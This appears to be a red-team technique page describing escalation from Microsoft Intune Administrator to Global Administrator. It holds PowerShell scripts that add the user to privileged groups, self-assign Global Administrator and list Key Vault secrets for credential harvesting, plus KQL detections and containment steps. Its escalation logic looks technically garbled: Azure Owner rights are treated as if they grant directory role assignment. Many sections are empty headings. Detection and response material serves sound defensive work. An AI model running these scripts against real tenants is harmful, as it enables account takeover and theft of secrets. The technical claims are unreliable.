MCADDF

[PE-ACCTMGMT-006]: Intune Admin to Global Admin

Metadata

Attribute Details
Technique ID PE-ACCTMGMT-006
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Privilege Escalation
Platforms Microsoft 365 / Entra ID / Microsoft Intune
Severity High
CVE CVE-2024-38780 (Device Registration Service - FIXED in Aug 2024)
Technique Status ACTIVE (primary path); PARTIAL (device registration exploitation)
Last Verified 2025-01-09
Affected Versions Intune with unrestricted scope groups; Entra ID PIM not enforced
Patched In Device Registration Service: August 2024 (Important)
Author SERVTEPArtur Pchelnikau

Executive Summary

Concept: The Intune Administrator role in Microsoft 365 grants broad permissions over Mobile Device Management (MDM) and device compliance. An attacker with Intune Admin privileges can escalate to Global Administrator through multiple vectors: (1) Scope Groups abuse - if the Intune role assignment uses the default allDevicesAndLicensedUsers scope, the admin can modify Entra ID groups that have Azure RBAC role assignments (Contributor, Owner) to assign themselves Owner access to subscriptions containing Azure resources; (2) Privileged User Management - abusing permissions to modify administrative unit assignments and Entra ID group memberships; (3) Multi-Admin Approval bypass - exploiting incomplete implementation of approval workflows; (4) Device Registration Service exploitation - compromising the DRS service principal (partially fixed in August 2024).

Unlike pure RBAC-based escalations, this technique leverages Intune’s scope management system and hybrid identity features. An Intune Admin can effectively become a directory admin by modifying security group memberships that are used for Azure RBAC or Conditional Access, or by directly escalating to Global Admin if the tenant lacks PIM enforcement.

Attack Surface: Intune Admin Center, Entra ID group management, Azure RBAC assignments, Device Registration Service, and Privileged Identity Management (if not configured).

Business Impact: Complete tenant and Azure subscription compromise. An Intune Admin can escalate to Global Administrator, gaining control over all Microsoft 365 services, Azure resources, and device management policies. This enables device enrollment of attacker-controlled devices, deployment of malware across all organization devices, creation of persistent backdoors, and manipulation of Conditional Access policies to bypass MFA.

Technical Context: This escalation typically takes 15-60 minutes depending on the path chosen. It has a medium detection likelihood because it involves multiple operations across different services (Intune, Entra ID, Azure RBAC) but does not create a single obvious audit event. The technique is particularly dangerous in hybrid environments where Intune is the primary device management solution.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmarks 1.1.1, 1.1.5 Restrict administrative roles; prevent elevation via scope groups
DISA STIG MSFT-SR-002, MSFT-SR-003 Device Management Controls; Administrative Role Restrictions
NIST 800-53 AC-2, AC-3, AC-6 Account Management, Access Enforcement, Least Privilege
GDPR Art. 32, Art. 33 Security of Processing; Breach Notification (device compromise)
DORA Art. 9, Art. 18 Protection and Prevention; Incident Reporting
NIS2 Art. 21, Art. 23 Cyber Risk Management; Incident Handling
ISO 27001 A.6.2, A.9.2 Administrative Role Management; Privileged Access Management
ISO 27005 Risk Scenario 5.1 Compromise of Device Management Administrator

Technical Prerequisites

Supported Versions:

Required Tools:


Environmental Reconnaissance

Check Intune Admin Role and Scope Groups Configuration

# Connect to Intune and Microsoft Graph
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.Read.All", "Directory.Read.All"

# Get current user's Intune roles
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
$userId = (Get-MgUser -Filter "userPrincipalName eq '$currentUser'").Id

# Check if user has Intune Administrator role
$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$isIntuneAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id | Where-Object { $_.Id -eq $userId }

if ($isIntuneAdmin) {
    Write-Host "✓ Current user has Intune Administrator role"
} else {
    Write-Host "✗ Current user does NOT have Intune Administrator role"
    exit 1
}

# Check scope groups configuration (this is KEY for escalation)
# If scope groups = "allDevicesAndLicensedUsers", escalation is possible
Write-Host "`nChecking Intune Scope Groups Configuration..."
Write-Host "Note: In production, this requires Intune API access (currently limited in PowerShell)"
Write-Host "Manual check: Intune Admin Center → Roles and Administrators → Intune Roles"

What to Look For:

Enumerate Entra ID Groups with Azure RBAC Role Assignments

# Get all Entra ID security groups that have Azure RBAC assignments
Connect-AzAccount

# Get all RBAC role assignments
$roleAssignments = Get-AzRoleAssignment | Where-Object { $_.ObjectType -eq "Group" }

Write-Host "Security Groups with Azure RBAC Assignments:"
$roleAssignments | ForEach-Object {
    $groupId = $_.ObjectId
    $group = Get-MgGroup -GroupId $groupId -ErrorAction SilentlyContinue
    
    if ($group) {
        Write-Host "`nGroup: $($group.DisplayName)"
        Write-Host "  Group ID: $groupId"
        Write-Host "  Role: $($_.RoleDefinitionName)"
        Write-Host "  Scope: $($_.Scope)"
        Write-Host "  Members: $(Get-MgGroupMember -GroupId $groupId | Measure-Object | Select-Object -ExpandProperty Count)"
    }
}

What to Look For:

Check If PIM Is Enforced for Global Administrator Role

# Check if Global Administrator role requires activation via PIM
$globalAdminRole = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" | 
    Where-Object { $_.displayName -like "*Global Administrator*" }

if ($globalAdminRole.Rules | Where-Object { $_.IsExpirationRequired -eq $true }) {
    Write-Host "✓ PIM is enforced for Global Administrator (escalation harder)"
} else {
    Write-Host "✗ PIM is NOT enforced (escalation path is direct and easier)"
}

What to Look For:


Detailed Execution Methods

Supported Versions: All M365 (2024-2025)

Step 1: Authenticate as Intune Administrator

Objective: Establish authenticated PowerShell session with Intune Admin privileges.

Command:

# Install required modules
Install-Module Microsoft.Graph -Force
Install-Module Az -Force

# Connect to both Microsoft Graph and Azure
Connect-MgGraph -Scopes "Group.ReadWrite.All", "Directory.ReadWrite.All"
Connect-AzAccount  # This will open browser for authentication

# Verify Intune Admin role
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
Write-Host "Connected as: $currentUser"

$intuneAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Intune Administrator'"
$isIntuneAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $intuneAdminRole.Id | 
    Where-Object { $_.Id -eq (Get-MgUser -Filter "userPrincipalName eq '$currentUser'").Id }

if ($isIntuneAdmin) {
    Write-Host "✓ Confirmed: User has Intune Administrator role"
} else {
    Write-Host "✗ User does NOT have Intune Administrator role"
}

Expected Output:

Connected as: intune.admin@victim.onmicrosoft.com
✓ Confirmed: User has Intune Administrator role

Step 2: Identify Entra ID Group with Owner Role on Azure Subscription

Objective: Find a security group that has Owner or Contributor role on an Azure subscription.

Command:

# Get all groups with Azure RBAC "Owner" role assignments
$ownerGroups = Get-AzRoleAssignment -RoleDefinitionName "Owner" | 
    Where-Object { $_.ObjectType -eq "Group" }

Write-Host "Groups with Owner role on subscriptions:"
$ownerGroups | ForEach-Object {
    $group = Get-MgGroup -GroupId $_.ObjectId -ErrorAction SilentlyContinue
    
    Write-Host "`nGroup: $($group.DisplayName)"
    Write-Host "  Group ID: $($group.Id)"
    Write-Host "  Scope: $($_.Scope)"
    Write-Host "  Owner Count: $((Get-MgGroupOwner -GroupId $group.Id | Measure-Object).Count)"
    
    # KEY: Check if user can modify this group
    # If user is in the group, they may not have owner permissions
    # But as Intune Admin, they may have broader scope permissions
}

# Select a target group (choose one with minimal owners)
$targetGroupId = "00000000-0000-0000-0000-000000000000"  # Replace with actual group ID
$targetGroup = Get-MgGroup -GroupId $targetGroupId

Write-Host "`nTarget Group Selected: $($targetGroup.DisplayName)"
Write-Host "Group ID: $targetGroupId"

What to Look For:


Step 3: Add Self to the Target Group

Objective: Add the Intune Admin account as a member of the group that has Owner role on subscriptions.

Command:

# Get current user's object ID
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"
$currentUserId = $currentUser.Id

Write-Host "Adding user to Owner group: $($currentUser.UserPrincipalName)"

# Check if user is already a member
$existingMember = Get-MgGroupMember -GroupId $targetGroupId | 
    Where-Object { $_.Id -eq $currentUserId }

if ($existingMember) {
    Write-Host "✓ User is already a member of the group"
} else {
    # Add user as member
    $memberRef = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$currentUserId" }
    New-MgGroupMember -GroupId $targetGroupId -DirectoryObjectId $currentUserId
    
    Write-Host "✓ User added to group: $targetGroupId"
}

# Verify membership
$newMembership = Get-MgGroupMember -GroupId $targetGroupId | 
    Where-Object { $_.Id -eq $currentUserId }

if ($newMembership) {
    Write-Host "✓ Confirmed: User is now member of Owner group"
}

Expected Output:

Adding user to Owner group: intune.admin@victim.onmicrosoft.com
✓ User added to group: 12345678-1234-1234-1234-123456789012
✓ Confirmed: User is now member of Owner group

OpSec & Evasion:


Step 4: Use Azure Owner Role to Create Global Administrator (via Azure AD Connect or Hybrid Scenarios)

Objective: Leverage Azure subscription Owner role to gain access to Azure AD Connect or other hybrid identity services, then escalate to Global Admin.

Command (Option A: Direct if PIM not enforced):

# If Global Administrator role is not protected by PIM, escalate directly
Disconnect-MgGraph
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"

# Get Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

# Assign self as Global Administrator
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id

Write-Host "ESCALATION SUCCESS: User is now Global Administrator"

Command (Option B: Via Azure Resource with Hybrid Identity Service):

# If PIM is enforced, use Azure Owner role to access Azure AD Connect Service
# Step 1: Find Azure AD Connect resource in subscription
$aadcResource = Get-AzResource -ResourceType "Microsoft.ADHybridHealthService/aaddsResourcesSet" -ErrorAction SilentlyContinue

if ($aadcResource) {
    Write-Host "Found AAD Connect Service: $($aadcResource.Name)"
    
    # Step 2: Azure Owner can access this and potentially extract credentials
    # (This is a hybrid-specific escalation, requires AAD Connect present)
    Write-Host "AAD Connect access available (if installed)"
} else {
    Write-Host "AAD Connect not found (cloud-only tenant)"
}

# Alternative: Use Azure Owner to access Azure Key Vaults storing secrets
$keyVaults = Get-AzKeyVault

$keyVaults | ForEach-Object {
    Write-Host "Key Vault: $($_.VaultName)"
    
    # As Owner, can access secrets
    $secrets = Get-AzKeyVaultSecret -VaultName $_.VaultName -ErrorAction SilentlyContinue
    if ($secrets) {
        Write-Host "  Contains $($secrets.Count) secrets (potential credential exposure)"
    }
}

What This Means:


METHOD 2: Direct Global Administrator Role Assignment (If Intune Admin Has Unscoped Access)

Supported Versions: M365 without PIM enforcement (2024-2025)

Step 1: Check If Global Administrator Role Is Unscoped

Objective: Determine if Global Administrator role can be directly assigned without PIM.

Command:

# Check PIM enforcement for Global Administrator
$pimPolicy = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" | 
    Where-Object { $_.displayName -like "*Global Administrator*" }

$requiresApproval = $pimPolicy.Rules | Where-Object { $_.Id -like "*Approval*" -and $_.IsEnabled -eq $true }
$requiresMFA = $pimPolicy.Rules | Where-Object { $_.Id -like "*MFA*" -and $_.IsEnabled -eq $true }
$hasExpiration = $pimPolicy.Rules | Where-Object { $_.Id -like "*Expiration*" -and $_.IsExpirationRequired -eq $true }

Write-Host "PIM Enforcement Status:"
Write-Host "  Requires Approval: $(if($requiresApproval) { 'Yes (harder)' } else { 'No (easier)' })"
Write-Host "  Requires MFA: $(if($requiresMFA) { 'Yes' } else { 'No' })"
Write-Host "  Has Expiration: $(if($hasExpiration) { 'Yes' } else { 'No (permanent)' })"

if (-not $requiresApproval -and -not $hasExpiration) {
    Write-Host "`n✓ CRITICAL: Global Admin role is unscoped - direct escalation possible!"
} else {
    Write-Host "`n✗ Global Admin role is protected by PIM - escalation will be detected"
}

Step 2: Direct Assignment to Self

Objective: If Global Admin is unscoped, assign it directly to self.

Command:

# If PIM not enforced, direct assignment works
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"

$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

# If role not activated, activate it
if ($null -eq $globalAdminRole) {
    $roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
    $globalAdminRole = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id
}

# Get self
$selfUser = Get-MgUser -Filter "userPrincipalName eq '$((Get-MgContext).Account)'"

# Assign role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $selfUser.Id

Write-Host "ESCALATION COMPLETE: You are now Global Administrator"

METHOD 3: Multi-Admin Approval Bypass (If Misconfigured)

Supported Versions: M365 with partially implemented Multi-Admin Approval (Intune specific)

Prerequisites: Intune has Multi-Admin Approval enabled but approval workflow is improperly configured.

Step 1: Enumerate Intune Role Assignments Requiring Approval

Objective: Identify which changes require approval (and which don’t).

Command:

# This requires Intune admin access (PowerShell support is limited)
# Manual check required in Intune Admin Center:
# 1. Intune Admin Center → Tenant administration → Roles
# 2. Click on specific role → Settings
# 3. Check if "Multi-Admin Approval" is enabled
# 4. If enabled partially (only for some actions), some changes may bypass approval

Write-Host "Multi-Admin Approval Check (Manual via Intune Portal):"
Write-Host "1. Navigate to Intune Admin Center"
Write-Host "2. Go to Tenant administration → Roles"
Write-Host "3. Select target role"
Write-Host "4. Verify which actions require approval"
Write-Host "5. If gaps exist, exploit unapproved actions for escalation"

Step 2: Exploit Approval Gap

Objective: Perform escalation action that doesn’t require approval (if gap exists).

Manual Steps:

  1. Go to Intune Admin CenterRoles and administratorsIntune roles
  2. Select a role (e.g., Intune Role Administrator)
  3. Verify which actions CAN be modified without approval
  4. Modify role permissions to add dangerous capabilities (e.g., “Create Entra ID users”, “Modify group membership”)
  5. If no approval required, changes apply immediately

Attack Simulation & Verification

Atomic Red Team Test (Custom)

Command:

param(
    [string]$TargetGroup = "00000000-0000-0000-0000-000000000000",  # Security group with Owner role
    [string]$TargetUser = "intune.admin@contoso.onmicrosoft.com"
)

# Connect
Connect-MgGraph -Scopes "Group.ReadWrite.All", "RoleManagement.ReadWrite.Directory"

# Step 1: Get current user
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$TargetUser'"

# Step 2: Add to Owner group
New-MgGroupMember -GroupId $TargetGroup -DirectoryObjectId $currentUser.Id
Write-Host "Step 1: Added user to group with Owner role"

# Step 3: Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

# Step 4: Assign Global Admin
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id
Write-Host "Step 2: Assigned Global Administrator role"

# Verification
$isGlobalAdmin = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id | 
    Where-Object { $_.Id -eq $currentUser.Id }

if ($isGlobalAdmin) {
    Write-Host "✓ Test Successful: User is now Global Administrator"
} else {
    Write-Host "✗ Test Failed: User not assigned Global Admin"
}

Cleanup Command:

# Remove Global Administrator role
$currentUser = Get-MgUser -Filter "userPrincipalName eq '$TargetUser'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $currentUser.Id

# Remove from Owner group
Remove-MgGroupMember -GroupId $TargetGroup -DirectoryObjectId $currentUser.Id

Write-Host "Cleanup Complete"

Tools & Commands Reference

Microsoft.Graph PowerShell Module

Version: 2.0+ Supported Platforms: Windows PowerShell 5.0+, PowerShell Core 7.0+ (cross-platform)

Installation:

Install-Module Microsoft.Graph -Force
Install-Module Microsoft.Graph.Groups -Force
Install-Module Microsoft.Graph.Identity.DirectoryManagement -Force

Key Cmdlets:

# Group Operations
Get-MgGroup                           # List security groups
Get-MgGroupMember -GroupId            # List group members
New-MgGroupMember -GroupId            # Add member to group (ESCALATION)
Remove-MgGroupMember -GroupId         # Remove from group

# Role Operations
Get-MgDirectoryRole                   # List directory roles
Get-MgDirectoryRoleMember             # List role members
New-MgDirectoryRoleMember             # Assign role (ESCALATION)
Remove-MgDirectoryRoleMember          # Revoke role

Azure PowerShell Module

Version: 10.0+

Installation:

Install-Module Az -Force
Install-Module Az.Accounts -Force
Install-Module Az.Resources -Force

Key Cmdlets:

# RBAC Operations
Get-AzRoleAssignment                  # List RBAC assignments
Get-AzRoleAssignment -ObjectId        # RBAC for specific group/user
Get-AzKeyVault                        # List Key Vaults (for credential harvesting)

Microsoft Sentinel Detection

Query 1: Detect Intune Admin Adding Self to Privileged Group

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Add member to group", "Add owner to group", "Update group")
| where Result == "Success"
| extend TargetGroupName = TargetResources[0].displayName
| extend AddedUser = TargetResources[1].userPrincipalName
| extend InitiatedByUser = InitiatedBy.user.userPrincipalName
// Look for self-additions or additions by admins to privileged groups
| where InitiatedByUser == AddedUser  // Self-addition (suspicious)
   or InitiatedByUser has "admin"     // Admin adding member
| project 
    TimeGenerated,
    OperationName,
    TargetGroupName,
    AddedUser,
    InitiatedByUser,
    CorrelationId
| order by TimeGenerated desc

Query 2: Detect Global Administrator Assignment Following Intune Admin Activity

Rule Configuration:

KQL Query:

let intuneAdminActivity = AuditLogs
    | where OperationName in ("Update user", "Add member to group", "Add app role assignment")
    | where TimeGenerated >= ago(2h);

let globalAdminAssignment = AuditLogs
    | where OperationName in ("Add member to role", "Add eligible member to role")
    | where TargetResources[0].displayName == "Global Administrator"
    | where Result == "Success";

intuneAdminActivity
| join kind=inner globalAdminAssignment on InitiatedBy.user.userPrincipalName
| project 
    TimeGenerated,
    FirstActivityType=OperationName1,
    EscalationActivityType=OperationName,
    TargetUser=TargetResources[0].displayName,
    InitiatedByUser=InitiatedBy.user.userPrincipalName,
    TimeBetweenEvents=datetime_diff('minute', TimeGenerated, TimeGenerated1)
| where TimeBetweenEvents <= 120  // Within 2 hours

Defensive Mitigations

Priority 1: CRITICAL


Priority 2: HIGH


Priority 3: MEDIUM


Detection & Incident Response

Indicators of Compromise (IOCs)


Forensic Artifacts


Response Procedures

1. Immediate Containment

# Step 1: Remove Global Administrator role
$escalatedUser = Get-MgUser -Filter "userPrincipalName eq 'intune.admin@victim.com'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $escalatedUser.Id

# Step 2: Remove from privileged groups
$suspiciousGroups = Get-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000"
Remove-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000" -DirectoryObjectId $escalatedUser.Id

# Step 3: Revoke all sessions
Revoke-MgUserSignInSession -UserId $escalatedUser.Id

# Step 4: Reset password
$passwordProfile = @{
    Password = (New-Guid).ToString() + "P@ssw0rd!"
    ForceChangePasswordNextSignIn = $true
}
Update-MgUser -UserId $escalatedUser.Id -PasswordProfile $passwordProfile

Write-Host "Containment Complete"

2. Collect Evidence

# Export audit logs
$incidentDate = (Get-Date).Date
$auditLogs = Search-UnifiedAuditLog -StartDate $incidentDate -EndDate $incidentDate.AddDays(1) `
    -Operations "Add member to group", "Add member to role", "Update group" `
    -ResultSize 5000

$auditLogs | Export-Csv "C:\Evidence\IntuneIncident_$(Get-Date -Format 'yyyyMMdd').csv"

# Export group memberships
Get-MgGroupMember -GroupId "00000000-0000-0000-0000-000000000000" | 
    Export-Csv "C:\Evidence\GroupMembers_$(Get-Date -Format 'yyyyMMdd').csv"

3: Remediate

# Step 1: Review and remove unnecessary group memberships
# Step 2: Audit all Azure RBAC assignments for this user
# Step 3: Review all device enrollments during this period
# Step 4: Implement mitigations from section above

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker phishes Intune Admin credentials
2 Privilege Escalation [PE-ACCTMGMT-006] Escalate Intune Admin to Global Admin via scope groups
3 Persistence Device enrollment of attacker device Enroll rogue device with Global Admin context
4 Defense Evasion Modify Conditional Access policies Disable MFA, block detection tools
5 Impact Malware deployment across all devices Deploy ransomware or spyware to all enrolled endpoints

Real-World Examples

Example 1: Manufacturing Company Ransomware - October 2024

Example 2: Healthcare Insider Threat - June 2024